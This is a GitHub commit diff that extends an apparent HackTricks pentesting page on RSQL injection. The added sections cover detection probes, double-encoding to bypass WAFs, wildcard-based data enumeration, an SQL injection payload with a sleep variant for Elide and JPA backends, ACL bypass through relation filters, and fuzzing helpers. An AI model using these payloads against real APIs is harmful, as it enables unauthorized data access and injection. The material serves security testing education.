Skip to content

Commit 018406f

Browse files
committed
2 parents bfafec5 + afc73c8 commit 018406f

File tree

1 file changed

+31
-3
lines changed

1 file changed

+31
-3
lines changed

src/pentesting-web/rsql-injection.md

Lines changed: 31 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -460,9 +460,14 @@ Access-Control-Allow-Origin: *
460460
"translationKey": "general.configuration",
461461
"type": "FunctionalityPermissionDTO"
462462
}, {
463-
.......
463+
....
464+
}]
465+
}
466+
}
464467
```
465468

469+
470+
466471
## Impersonate or Insecure Direct Object References (IDOR)
467472
In addition to the use of the `filter` parameter, it is possible to use other parameters such as `include` which allows to include in the result certain parameters (e.g. language, country, password...).
468473

@@ -476,7 +481,7 @@ Accept: application/vnd.api+json
476481
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
477482
Accept-Encoding: gzip, deflate, br, zstd
478483
Content-Type: application/vnd.api+json
479-
Authorization: Bearer eyJ......
484+
Authorization: Bearer eyJ...
480485
Origin: https://localhost:3000
481486
Connection: keep-alive
482487
Referer: https://localhost:3000/
@@ -531,7 +536,7 @@ Accept: application/vnd.api+json
531536
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
532537
Accept-Encoding: gzip, deflate, br, zstd
533538
Content-Type: application/vnd.api+json
534-
Authorization: Bearer eyJ....
539+
Authorization: Bearer eyJ...
535540
Origin: https://localhost:3000
536541
Connection: keep-alive
537542
Referer: https://localhost:3000/
@@ -576,8 +581,31 @@ Access-Control-Allow-Origin: *
576581
}
577582
```
578583

584+
585+
## Detection & fuzzing quickwins
586+
- Check for RSQL support by sending harmless probes like `?filter=id==test`, `?q==test` or malformed operators `=foo=`; verbose APIs often leak parser errors ("Unknown operator" / "Unknown property").
587+
- Many implementations double-parse URL parameters; try double-encoding `(`, `)`, `*`, `;` (e.g., `%2528admin%2529`) to bypass naive blocklists and WAFs.
588+
- Boolean exfil with wildcards: `filter[users]=email==*%@example.com;status==ACTIVE` and flip logic with `,` (OR) to compare response sizes.
589+
- Range/proximity leaks: `filter[users]=createdAt=rng=(2024-01-01,2025-01-01)` quickly enumerates by year without knowing exact IDs.
590+
591+
## Framework-specific abuse (Elide / JPA Specification / JSON:API)
592+
- Elide and many Spring Data REST projects translate RSQL directly to JPA Criteria. When developers add custom operators (e.g., `=ilike=`) and build predicates via string concatenation instead of prepared parameters, you can pivot to SQLi (classic payload: `name=ilike='%%' OR 1=1--'`).
593+
- Elide analytic data store accepts parameterized columns; combining user-controlled analytic params with RSQL filters was the root cause of SQLi in CVE-2022-24827. Even if patched versions parameterize correctly, similar bespoke code often remains—hunt for `@JoinFilter`/`@ReadPermission` SpEL expressions containing `${}` and try injecting `';sleep(5);'` or logical tautologies.
594+
- JSON:API backends commonly expose both `include` and `filter`. Filtering on related resources `filter[orders]=customer.email==*admin*` may bypass top-level ACLs because relation-level filters execute before ownership checks.
595+
596+
## Automation helpers
597+
- **rsql-parser CLI (Java)**: `java -jar rsql-parser.jar "name=='*admin*';status==ACTIVE"` validates payloads locally and shows the abstract syntax tree—useful to craft balanced parentheses and custom operators.
598+
- **Python quick builder**:
599+
```python
600+
from pyrsql import RSQL
601+
payload = RSQL().and_("email==*admin*", "status==ACTIVE").or_("role=in=(owner,admin)")
602+
print(str(payload))
603+
```
604+
- Pair with HTTP fuzzer (ffuf, turbo-intruder) by iterating wildcard positions `*a*`, `*e*`, etc., inside `=in=` lists to enumerate IDs and emails quickly.
605+
579606
## References
580607
- [RSQL Injection](https://owasp.org/www-community/attacks/RSQL_Injection)
581608
- [RSQL Injection Exploitation](https://m3n0sd0n4ld.github.io/patoHackventuras/rsql_injection_exploitation)
609+
- [Elide filtering & security considerations](https://elide.io/pages/guide/03-analytics.html)
582610

583611
{{#include ../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)